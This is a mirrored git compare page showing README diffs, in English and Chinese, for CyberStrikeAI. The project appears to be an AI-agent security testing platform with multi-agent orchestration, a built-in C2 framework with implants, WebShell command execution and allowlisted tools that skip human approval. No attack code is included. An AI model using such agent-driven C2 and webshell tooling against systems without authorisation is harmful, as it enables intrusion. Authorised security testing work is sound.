mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-11 16:47:55 +02:00
Compare commits
122 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e8a75e5105 | |||
| 48976ed650 | |||
| dc9ecae7fd | |||
| a9d0a59f7a | |||
| 5ec4729b83 | |||
| 9857003018 | |||
| a6e7885fed | |||
| e69375451c | |||
| 07e7f104ad | |||
| ffce9185bb | |||
| 612f16455d | |||
| ecd5b40bc2 | |||
| 5aa7306c9b | |||
| 1027d9f6cf | |||
| e05b008903 | |||
| 9bcc7a27fe | |||
| fb3087b760 | |||
| cd48a43b7e | |||
| 07be48ae59 | |||
| 529f94a4f7 | |||
| d2fe023d7e | |||
| 09e858619e | |||
| 9c54291295 | |||
| b3f7b8494b | |||
| 849c644a86 | |||
| 9e0525abc1 | |||
| 6bacac2e6a | |||
| 244307b52c | |||
| faaac5fbd7 | |||
| 3392fefedf | |||
| abef51b805 | |||
| 8143d8f220 | |||
| 73337c5226 | |||
| c9c9ca1eec | |||
| 25f8b610fb | |||
| 6bfa7b8959 | |||
| 99a41d8188 | |||
| 6d04753761 | |||
| a08df7ab79 | |||
| 3123a07c48 | |||
| 7b3d35fabe | |||
| cb17d3a5c1 | |||
| c2892ccd33 | |||
| 60b0bb3252 | |||
| 3b9e5f3b1c | |||
| 1a9694b216 | |||
| a1c7e0dc7d | |||
| 23e08b1697 | |||
| 9002505569 | |||
| b1aaaa79c7 | |||
| 4edbeb8f2d | |||
| 5b5a532d4f | |||
| c1bd94684c | |||
| 8b48e5e396 | |||
| c2f8ebc743 | |||
| 15e1a15671 | |||
| 5c3b157159 | |||
| e5f6175277 | |||
| 1dc5d18fb3 | |||
| 00ea3d7a9c | |||
| 8d48ccdfe4 | |||
| c9f1a2001e | |||
| 905dd519ed | |||
| 60ea106301 | |||
| 92c0ae19bb | |||
| 43c6a0648d | |||
| 6b96e77120 | |||
| a397922361 | |||
| 1e6e92b4af | |||
| 444f85b9c4 | |||
| 679a8192ae | |||
| 9a3f5e54b0 | |||
| ce2eb56253 | |||
| da6cb347df | |||
| fb2658b2eb | |||
| e791782c46 | |||
| 9b0efbb90f | |||
| 0d9eebffe6 | |||
| 403d4421d2 | |||
| e606369e31 | |||
| da8fdafe59 | |||
| 0492365430 | |||
| 3a6bc60276 | |||
| 3a401ade68 | |||
| 71aade5bd9 | |||
| a5f11cc003 | |||
| dcea95968b | |||
| 7db0294d5c | |||
| b4d85c5a77 | |||
| fcbc7b9226 | |||
| b8b1e8431b | |||
| 203a99bed4 | |||
| 449781c029 | |||
| 924f59015d | |||
| f0fb634a6b | |||
| b8dfb9556a | |||
| 9c1d3ae85e | |||
| b8ebf023a0 | |||
| 604ce34d5e | |||
| b29b36bfd5 | |||
| 11bab83fc5 | |||
| dc750e3680 | |||
| 0236d1c155 | |||
| be59ddcab6 | |||
| 25464a68e6 | |||
| eabfed09c9 | |||
| cbcbd414cd | |||
| 0933f9365b | |||
| e792891ff3 | |||
| e14e5f15d3 | |||
| 4d5e0c5f21 | |||
| b3238304ce | |||
| 665e2ec73a | |||
| d63d9c25b8 | |||
| d1c63d0ba7 | |||
| 55d6d449cd | |||
| d4bc9646d9 | |||
| b941f5a8d9 | |||
| 97e2c0fd43 | |||
| bd3e48c2d0 | |||
| 8b0b91fddc | |||
| 2b38595b42 |
@@ -29,7 +29,6 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
|
|||||||
|
|
||||||
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
|
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
|
||||||
|
|
||||||
|
|
||||||
## Interface & Integration Preview
|
## Interface & Integration Preview
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -117,8 +116,9 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
|
|||||||
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
|
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
|
||||||
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
|
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
|
||||||
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
|
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
|
||||||
- 🧩 **Multi-agent (CloudWeGo Eino)**: alongside **single-agent ReAct** (`/api/agent-loop`), **multi mode** (`/api/multi-agent/stream`) offers **`deep`** (coordinator + `task` sub-agents), **`plan_execute`** (planner / executor / replanner), and **`supervisor`** (orchestrator + `transfer` / `exit`); chosen per request via **`orchestration`**. Markdown under `agents/`: `orchestrator.md` (Deep), `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` where applicable (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
|
- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). ADK **summarization** compresses long contexts; pre-compaction **transcripts** land at `data/conversation_artifacts/<conversation-id>/summarization/transcript.txt` (full user/assistant/tool turns; static system omitted). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
|
||||||
- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
|
- 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
|
||||||
|
- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, **plantask** (`TaskCreate` / `TaskList` boards under `skills_dir/.eino/plantask/`), reduction, file **checkpoints** (`checkpoint_dir`), ChatModel **retries**, session **output key**, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
|
||||||
- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
|
- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
|
||||||
- 🧑⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
|
- 🧑⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
|
||||||
- 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
|
- 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
|
||||||
@@ -189,13 +189,14 @@ The `run.sh` script will automatically:
|
|||||||
```
|
```
|
||||||
- Or edit `config.yaml` directly before launching
|
- Or edit `config.yaml` directly before launching
|
||||||
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
|
||||||
3. **Install security tools (optional)** - Install tools as needed:
|
3. **Install security tools (optional)** - Install all tools declared under `tools/`:
|
||||||
```bash
|
```bash
|
||||||
# macOS
|
./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu)
|
||||||
brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
|
./install-tools.sh --check # check only, no install
|
||||||
# Ubuntu/Debian
|
./install-tools.sh --list # show per-tool status
|
||||||
sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
|
./install-tools.sh --only nmap,gau # install selected tools only
|
||||||
```
|
```
|
||||||
|
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
|
||||||
AI automatically falls back to alternatives when a tool is missing.
|
AI automatically falls back to alternatives when a tool is missing.
|
||||||
|
|
||||||
**Alternative Launch Methods:**
|
**Alternative Launch Methods:**
|
||||||
@@ -235,7 +236,7 @@ Requirements / tips:
|
|||||||
|
|
||||||
### Core Workflows
|
### Core Workflows
|
||||||
- **Conversation testing** – Natural-language prompts trigger toolchains with streaming SSE output.
|
- **Conversation testing** – Natural-language prompts trigger toolchains with streaming SSE output.
|
||||||
- **Single vs multi-agent** – With `multi_agent.enabled: true`, the chat UI can switch between **single** (classic **ReAct** loop, `/api/agent-loop/stream`) and **multi** (`/api/multi-agent/stream`). Multi mode keeps **`deep`** as the baseline coordinator + **`task`** sub-agents, and adds **`plan_execute`** and **`supervisor`** orchestrations via the request body **`orchestration`** field. MCP tools are bridged the same way as single-agent.
|
- **Single vs multi-agent** – Chat UI switches between **Eino single-agent** (`/api/eino-agent/stream`) and **multi-agent** (`/api/multi-agent/stream` with `orchestration`: `deep` | `plan_execute` | `supervisor`). Multi mode requires `multi_agent.enabled: true`. MCP tools are bridged the same way for both paths.
|
||||||
- **Role-based testing** – Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
|
- **Role-based testing** – Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
|
||||||
- **Tool monitor** – Inspect running jobs, execution logs, and large-result attachments.
|
- **Tool monitor** – Inspect running jobs, execution logs, and large-result attachments.
|
||||||
- **History & audit** – Every conversation and tool invocation is stored in SQLite with replay.
|
- **History & audit** – Every conversation and tool invocation is stored in SQLite with replay.
|
||||||
@@ -259,7 +260,7 @@ Requirements / tips:
|
|||||||
- **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
|
- **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
|
||||||
- **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
|
- **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
|
||||||
- **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
|
- **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
|
||||||
- **Skills** – Skill packs live under `skills_dir` and are loaded in **multi-agent / Eino** sessions via the ADK **`skill`** tool (**progressive disclosure**). Configure **`multi_agent.eino_skills`** for middleware, tool name override, and optional host **read_file / glob / grep / write / edit / execute** (**Deep / Supervisor** when enabled; **plan_execute** differs—see docs). Single-agent ReAct does not mount this Eino skill stack today.
|
- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, plantask, reduction, checkpoints, summarization transcripts, etc.) apply per mode—see docs.
|
||||||
- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
|
- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
|
||||||
- **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
|
- **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
|
||||||
|
|
||||||
@@ -279,7 +280,7 @@ Requirements / tips:
|
|||||||
2. Restart the server or reload configuration; the role appears in the role selector dropdown.
|
2. Restart the server or reload configuration; the role appears in the role selector dropdown.
|
||||||
|
|
||||||
### Multi-Agent Mode (Eino: Deep, Plan-Execute, Supervisor)
|
### Multi-Agent Mode (Eino: Deep, Plan-Execute, Supervisor)
|
||||||
- **What it is** – An optional execution path beside **single-agent ReAct**, built on CloudWeGo **Eino** `adk/prebuilt`: **`deep`** — coordinator + **`task`** sub-agents; **`plan_execute`** — planner / executor / replanner loop (no YAML/Markdown sub-agent list); **`supervisor`** — orchestrator with **`transfer`** and **`exit`** over Markdown-defined specialists. The client sends **`orchestration`**: `deep` | `plan_execute` | `supervisor` (default `deep`).
|
- **What it is** – Multi-agent orchestration on CloudWeGo **Eino** `adk/prebuilt` (alongside **Eino single-agent** on `/api/eino-agent*`): **`deep`** — coordinator + **`task`** sub-agents; **`plan_execute`** — planner / executor / replanner; **`supervisor`** — orchestrator with **`transfer`** / **`exit`**. Client sends **`orchestration`**: `deep` | `plan_execute` | `supervisor` (default `deep`).
|
||||||
- **Markdown agents** – Under `agents_dir` (default `agents/`):
|
- **Markdown agents** – Under `agents_dir` (default `agents/`):
|
||||||
- **Deep orchestrator**: `orchestrator.md` *or* one `.md` with `kind: orchestrator`. Body or `multi_agent.orchestrator_instruction`, then Eino defaults.
|
- **Deep orchestrator**: `orchestrator.md` *or* one `.md` with `kind: orchestrator`. Body or `multi_agent.orchestrator_instruction`, then Eino defaults.
|
||||||
- **Plan-Execute orchestrator**: fixed name **`orchestrator-plan-execute.md`** (plus optional `orchestrator_instruction_plan_execute` in YAML).
|
- **Plan-Execute orchestrator**: fixed name **`orchestrator-plan-execute.md`** (plus optional `orchestrator_instruction_plan_execute` in YAML).
|
||||||
@@ -287,6 +288,7 @@ Requirements / tips:
|
|||||||
- **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
|
- **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
|
||||||
- **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
|
- **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
|
||||||
- **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
|
- **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
|
||||||
|
- **Resilience & long runs** – `checkpoint_dir` enables ADK **resume** after process crashes (distinct from trace-based “interrupt & continue”). `deep_model_retry_max_retries` retries transient LLM API failures within a single call. **Summarization** writes a filtered **transcript** when compression fires; the summary message includes the path so the model can `read_file` for scan output and other pre-compaction details.
|
||||||
- **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
|
- **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
|
||||||
|
|
||||||
### Skills System (Agent Skills + Eino)
|
### Skills System (Agent Skills + Eino)
|
||||||
@@ -294,7 +296,7 @@ Requirements / tips:
|
|||||||
- **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
|
- **Runtime refactor** – **`skills_dir`** is the single root for packs. **Multi-agent** loads them through Eino’s official **`skill`** middleware (**progressive disclosure**: model calls `skill` with a pack **name** instead of receiving full SKILL text up front). Configure via **`multi_agent.eino_skills`**: `disable`, `filesystem_tools` (host read/glob/grep/write/edit/execute), `skill_tool_name`.
|
||||||
- **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
|
- **Eino / RAG** – Packages are also split into `schema.Document` chunks for `FilesystemSkillsRetriever` (`skills.AsEinoRetriever()`) in **compose** graphs (e.g. knowledge/indexing pipelines).
|
||||||
- **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
|
- **HTTP API** – `/api/skills` listing and `depth` (`summary` | `full`), `section`, and `resource_path` remain for the web UI and ops; **model-side** skill loading in multi-agent uses the **`skill`** tool, not MCP.
|
||||||
- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, `plantask` (structured tasks; persistence defaults under a subdirectory of `skills_dir`), `reduction`, `checkpoint_dir`, Deep output key / model retries / task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
|
- **Optional `eino_middleware`** – e.g. `tool_search` (dynamic MCP tool list), `patch_tool_calls`, **`plantask`** (Eino `TaskCreate` / `TaskGet` / `TaskUpdate` / `TaskList`; JSON under `skills_dir/.eino/plantask/<conversation-id>/`; Eino clears task files when **all** tasks are marked completed), `reduction`, **`checkpoint_dir`** (`data/eino-checkpoints/`), **`deep_model_retry_max_retries`**, **`deep_output_key`**, task-tool description prefix—see `config.yaml` and `internal/config/config.go`.
|
||||||
- **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
|
- **Shipped demo** – `skills/cyberstrike-eino-demo/`; see `skills/README.md`.
|
||||||
|
|
||||||
**Creating a skill:**
|
**Creating a skill:**
|
||||||
@@ -536,13 +538,13 @@ skills_dir: "skills" # Skills directory (relative to config file)
|
|||||||
agents_dir: "agents" # Multi-agent Markdown definitions (orchestrator + sub-agents)
|
agents_dir: "agents" # Multi-agent Markdown definitions (orchestrator + sub-agents)
|
||||||
multi_agent:
|
multi_agent:
|
||||||
enabled: false
|
enabled: false
|
||||||
default_mode: "single" # single | multi (UI default when multi-agent is enabled)
|
default_mode: "eino_single" # eino_single | multi (UI default when multi-agent is enabled)
|
||||||
robot_default_agent_mode: react
|
robot_default_agent_mode: eino_single
|
||||||
batch_use_multi_agent: false
|
batch_use_multi_agent: false
|
||||||
orchestrator_instruction: "" # Deep; used when orchestrator.md body is empty
|
orchestrator_instruction: "" # Deep; used when orchestrator.md body is empty
|
||||||
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
|
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
|
||||||
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
|
# eino_skills: { disable: false, filesystem_tools: true, skill_tool_name: skill }
|
||||||
# eino_middleware: optional patch_tool_calls, tool_search, plantask, reduction, checkpoint_dir, ...
|
# eino_middleware: plantask_enable, checkpoint_dir, deep_model_retry_max_retries, deep_output_key, ...
|
||||||
```
|
```
|
||||||
|
|
||||||
### Tool Definition Example (`tools/nmap.yaml`)
|
### Tool Definition Example (`tools/nmap.yaml`)
|
||||||
|
|||||||
+18
-16
@@ -28,7 +28,6 @@
|
|||||||
|
|
||||||
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力,以及面向 **授权场景** 的 **内置轻量 C2(Command & Control,指挥与控制)** 能力(监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同)。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
|
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力,以及面向 **授权场景** 的 **内置轻量 C2(Command & Control,指挥与控制)** 能力(监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同)。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
|
||||||
|
|
||||||
|
|
||||||
## 界面与集成预览
|
## 界面与集成预览
|
||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
@@ -116,8 +115,9 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
|
|||||||
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
|
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
|
||||||
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
|
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
|
||||||
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
|
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
|
||||||
- 🧩 **多代理(CloudWeGo Eino)**:在 **单代理 ReAct**(`/api/agent-loop`)之外,**多代理**(`/api/multi-agent/stream`)提供 **`deep`**(协调主代理 + `task` 子代理)、**`plan_execute`**(规划 / 执行 / 重规划)、**`supervisor`**(主代理 `transfer` / `exit` 监督子代理);由请求体 **`orchestration`** 选择。`agents/` 下分模式主代理:`orchestrator.md`(Deep)、`orchestrator-plan-execute.md`、`orchestrator-supervisor.md`,及适用的子代理 `*.md`(详见 [多代理说明](docs/MULTI_AGENT_EINO.md))
|
- 🧩 **Agent 编排(CloudWeGo Eino)**:**单代理** `POST /api/eino-agent/stream`(Eino ADK);**多代理** `POST /api/multi-agent/stream`,`orchestration` 选 **`deep`** / **`plan_execute`** / **`supervisor`**。ADK **Summarization** 在上下文过长时压缩历史;压缩前将可恢复 **转录** 写入 `data/conversation_artifacts/<会话ID>/summarization/transcript.txt`(保留完整 user/assistant/tool 轮次,省略静态 system)。`agents/` 下主代理与子代理 Markdown 见 [多代理说明](docs/MULTI_AGENT_EINO.md)
|
||||||
- 🎯 **Skills(面向 Eino 重构)**:技能包放在 **`skills_dir`**,遵循 **Agent Skills** 目录规范(`SKILL.md` + 可选文件);**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**(按 name 加载)。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖;**`eino_middleware`** 可选 patch、tool_search、plantask、reduction、断点目录及 Deep 调参。20+ 领域示例仍可绑定角色
|
- 🖼️ **视觉分析(`analyze_image`)**:独立 Vision 模型(如 `qwen-vl-max`),MCP 工具分析本地截图/验证码/UI;图片仅在单次 VL 调用中出现,对话上下文只保留文字摘要。配置见 `config.yaml` → `vision` 与 [视觉分析说明](docs/VISION.md)
|
||||||
|
- 🎯 **Skills(面向 Eino 重构)**:技能包放在 **`skills_dir`**,遵循 **Agent Skills** 目录规范(`SKILL.md` + 可选文件);**多代理** 下通过 Eino 官方 **`skill`** 工具 **渐进式披露**(按 name 加载)。**`multi_agent.eino_skills`** 控制是否启用、本机文件/Shell 工具、工具名覆盖;**`eino_middleware`** 可选 patch、tool_search、**plantask**(`TaskCreate` / `TaskList` 任务板,落在 `skills_dir/.eino/plantask/`)、reduction、文件型 **checkpoint**(`checkpoint_dir`)、ChatModel **重试**、会话 **输出键** 及 Deep 调参。20+ 领域示例仍可绑定角色
|
||||||
- 📱 **机器人**:支持钉钉、飞书长连接,在手机端与 CyberStrikeAI 对话(配置与命令详见 [机器人使用说明](docs/robot.md))
|
- 📱 **机器人**:支持钉钉、飞书长连接,在手机端与 CyberStrikeAI 对话(配置与命令详见 [机器人使用说明](docs/robot.md))
|
||||||
- 🧑⚖️ **人机协同(HITL)**:对话页侧栏配置协同模式与免审批工具白名单;全局列表在 `config.yaml` 的 `hitl.tool_whitelist`;点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效;导航 **人机协同** 页处理待审批工具调用
|
- 🧑⚖️ **人机协同(HITL)**:对话页侧栏配置协同模式与免审批工具白名单;全局列表在 `config.yaml` 的 `hitl.tool_whitelist`;点「应用」可将新增工具合并写入配置文件且**无需重启**即可生效;导航 **人机协同** 页处理待审批工具调用
|
||||||
- 🐚 **WebShell 管理**:添加与管理 WebShell 连接(兼容冰蝎/蚁剑等),通过虚拟终端执行命令、内置文件管理进行文件操作,并提供按连接维度保存历史的 AI 助手标签页;支持 PHP/ASP/ASPX/JSP 及自定义类型,可配置请求方法与命令参数。
|
- 🐚 **WebShell 管理**:添加与管理 WebShell 连接(兼容冰蝎/蚁剑等),通过虚拟终端执行命令、内置文件管理进行文件操作,并提供按连接维度保存历史的 AI 助手标签页;支持 PHP/ASP/ASPX/JSP 及自定义类型,可配置请求方法与命令参数。
|
||||||
@@ -188,14 +188,15 @@ chmod +x run.sh && ./run.sh
|
|||||||
```
|
```
|
||||||
- 或启动前直接编辑 `config.yaml` 文件
|
- 或启动前直接编辑 `config.yaml` 文件
|
||||||
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`)
|
||||||
3. **安装安全工具(可选)** - 按需安装所需工具:
|
3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具:
|
||||||
```bash
|
```bash
|
||||||
# macOS
|
./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
|
||||||
brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
|
./install-tools.sh --check # 仅检查, 不安装
|
||||||
# Ubuntu/Debian
|
./install-tools.sh --list # 列出各工具安装状态
|
||||||
sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
|
./install-tools.sh --only nmap,gau # 只装指定工具
|
||||||
```
|
```
|
||||||
未安装的工具会自动跳过或改用替代方案。
|
macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
|
||||||
|
未安装的工具在执行时会自动跳过或改用替代方案。
|
||||||
|
|
||||||
**其他启动方式:**
|
**其他启动方式:**
|
||||||
```bash
|
```bash
|
||||||
@@ -233,7 +234,7 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
|
|
||||||
### 常用流程
|
### 常用流程
|
||||||
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
|
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
|
||||||
- **单代理 / 多代理**:`multi_agent.enabled: true` 后可在聊天中切换 **单代理**(原有 **ReAct**,`/api/agent-loop/stream`)与 **多代理**(`/api/multi-agent/stream`)。多代理在既有 **`deep`**(`task` 子代理)基础上,新增 **`plan_execute`**、**`supervisor`**,由 **`orchestration`** 指定。MCP 工具与单代理同源桥接。
|
